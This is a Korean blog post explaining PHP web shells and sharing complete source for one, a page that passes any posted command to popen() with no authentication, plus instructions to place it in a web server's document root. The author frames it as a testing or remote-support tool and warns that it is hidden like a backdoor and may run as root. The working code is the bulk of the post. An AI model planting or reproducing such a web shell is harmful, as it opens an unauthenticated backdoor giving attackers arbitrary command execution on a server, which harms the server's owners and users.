본문 바로가기
IT/web

[PHP] web shell 설명 및 예제 공유

by 어느해겨울 2022. 1. 6.

 

web shell 설명 및 예제 공유

- web shell, 웹 쉘은 웹 페이지를 통해 shell을 사용하는 것을 의미한다.

보통 shell은 telnet, ssh 등 단말에 접속할 수 있는 프로토콜을 이용하여 접속하는데 개발 환경의 테스트, 현장 대응 등 여러 가지 이유로 백도어(backdoor, 개구멍)처럼 하나씩 숨겨놓기도 한다.

 

web shell은 일반적인 서비스의 포트 스캐닝이나 별도의 검증 툴로 확인할 수 없기 때문에 오픈 되는 경우 문제의 인지를 할 수 없어 많은 사고를 야기한다.

 

그러므로 개발 중 테스트 또는 인증 절차를 통한 원격 지원용 정도로만 사용하자.

 

https://github.com/muabow/home/tree/main/src/php/web_shell

 

GitHub - muabow/home: C/C++, PHP, GO source/library

C/C++, PHP, GO source/library. Contribute to muabow/home development by creating an account on GitHub.

github.com

 

소스코드 : web_shell.php

<?php
	$str_http_path = $_SERVER["HTTP_HOST"] . substr(realpath(__FILE__), strlen($_SERVER["DOCUMENT_ROOT"]));

	function exec_shell($_cmd) {
		$fp = popen($_cmd, "r");

		$str_read_mesage = "";
		while( !feof($fp) ) {
			$buffer = fgets($fp, 4096);
			$str_read_mesage .= $buffer . "<br />";
		}
		pclose($fp);

		return $str_read_mesage;
	}

	if( isset($_POST["type"]) && $_POST["type"] == "exec" ) {
		$cmd = $_POST["cmd"];

		echo exec_shell($cmd);
		exit ;
	}
?>

<!DOCTYPE html>
<html>
	<head>
		<meta http-equiv="content-type" content="text/html; charset=UTF-8" />
		<meta http-equiv="cache-control" content="no-cache" />
		<meta http-equiv="expires" content="0" />
		<meta http-equiv="pragma" content="no-cache" />

		<meta name="author"   content="https://muabow.tistory.com" />
		<meta name="keywords" content="https://muabow.tistory.com" />

		<title>Web shell</title>

		<script src="http://code.jquery.com/jquery.min.js"></script>
		<script type="text/javascript">
			class Handle {
				constructor() {
					this.path = "http://<?php echo $str_http_path; ?>";
				}

				makeArgs(_key, _value) {
					var args = "&" + _key + "=" + _value;

					return args;
				}

				postArgs(_target, _args) {
					var result;

					$.ajax({
						type    : "POST",
						url     : _target,
						data    : _args,
						async   : false,
						success : function(data) {
							if( data != null ) {
								result = data;
							}
						}
					});

					return result;
				}

				exec(_cmd) {
					var submitArgs = "";
					submitArgs += this.makeArgs("type", "exec");
					submitArgs += this.makeArgs("cmd",  _cmd);

					return this.postArgs(this.path, submitArgs);
				}
			}

			$(document).ready(function() {
				var handler = new Handle();
				var index = 1;

				$("#shell-input_exec").keyup(function(e) {
					if (e.keyCode == 13) $("#shell-input-button").trigger("click");
					return;
				});

				$("#shell-input-button").click(function() {
					var rc = handler.exec($("#shell-input_exec").val());

					$("#shell-body-frame").html(rc);
					$("#shell-body-top").html("[" + $("#shell-input_exec").val() + "]");
					$("#shell-history-frame").prepend("<div>" + index + "&nbsp;&nbsp;" + $("#shell-input_exec").val() + "</div>");
					$("#shell-input_exec").val("");

					index++;
					return ;
				});
			});
		</script>

		<style>
			.div_page_title_name {
				padding-top             : 10px;
				padding-bottom          : 10px;
				font-weight             : bold;
				font-size               : 18px;
			}

			.div_form_body {
				margin-top              : 5px;
				margin-right            : 10px;
				border                  : 1px solid #C0C0C0;
				height                  : 350px;
			}
			
			.div_form_body_top {
				overflow-x              : hidden;
				overflow-y              : auto;
				height                  : 24px;
				border                  : 1px solid #7c7c7c;
				margin                  : 2px 2px 2px 2px;
				font-size               : 14px;
				padding-left            : 10px;
				display                 : flex;
				align-items             : center;
			}

			.div_form_body_frame {
				overflow-x              : hidden;
				overflow-y              : auto;
				height                  : 316px;
				border                  : 1px solid #7c7c7c;
				margin                  : 2px 2px 2px 2px;
				font-size               : 14px;
				padding-left            : 10px;
			}

			.div_form_input {
				display                 : flex;
				margin-top              : 5px;
				margin-right            : 10px;
				border                  : 1px solid #C0C0C0;
				height                  : 20px;
				padding                 : 5px;
			}
			
			.div_form_input_text {
				flex                    : 1 1 0;
			}

			.div_form_history {
				margin-top              : 5px;
				margin-right            : 10px;
				border                  : 1px solid #C0C0C0;
				height                  : 100px;
			}

			.div_form_history_frame {
				overflow-x              : hidden;
				overflow-y              : auto;
				height                  : 94px;
				border                  : 1px solid #7c7c7c;
				margin                  : 2px 2px 2px 2px;
				font-size               : 14px;
				padding-left            : 10px;
			}

			.div_button {
				background-color        : #e7e7e7;
				border                  : 1px solid #7c7c7c;
				color                   : black;
				text-align              : center;
				text-decoration         : none;
				display                 : inline-block;
				cursor                  : pointer;
				font-size               : 12px;
				width                   : 100px;
				border-radius           : 2px;
				transition-duration     : 0.4s;
				height                  : 18px; 
				line-height             : 18px; 
				margin-left             : 10px; 
				-webkit-transition-duration: 0.4s; /* Safari */
			}

			.div_button:hover {
				background-color        : #7f7f7f;
				color                   : white;
			}
		</style>
	</head>

	<body>
		<div class="div_page_title_name"> Web shell </div>
		<hr />

		<div class="div_form_body">
			<div class="div_form_body_top"   id="shell-body-top"></div>
			<div class="div_form_body_frame" id="shell-body-frame"></div>
		</div>

		<div class="div_form_input">
			<input type="text" class="div_form_input_text" id="shell-input_exec" />
			<div class="div_button" id="shell-input-button"> Enter </div>
		</div>

		<br />
		
		<b>History</b>
		<div calss="div_form_history">
			<div class="div_form_history_frame" id="shell-history-frame"></div>
		</div>
	</body>
</html>

위 소스코드를 웹 서버의 document root 에 적당한 곳에 위치시키고 웹 페이지로 접속하면 아래의 화면처럼 사용할 수 있다.

 

사용 및 결과 화면

web shell을 통해 시스템 정보를 확인하는 화면.

 

위의 web shell은 특히 웹 서비스를 실행하는 계정의 권한이 root 이거나 sudo의 허가된 계정이라면 root 권한을 행사 할 수 있으니 조심하도록 하자.

 

끝.

 

 

댓글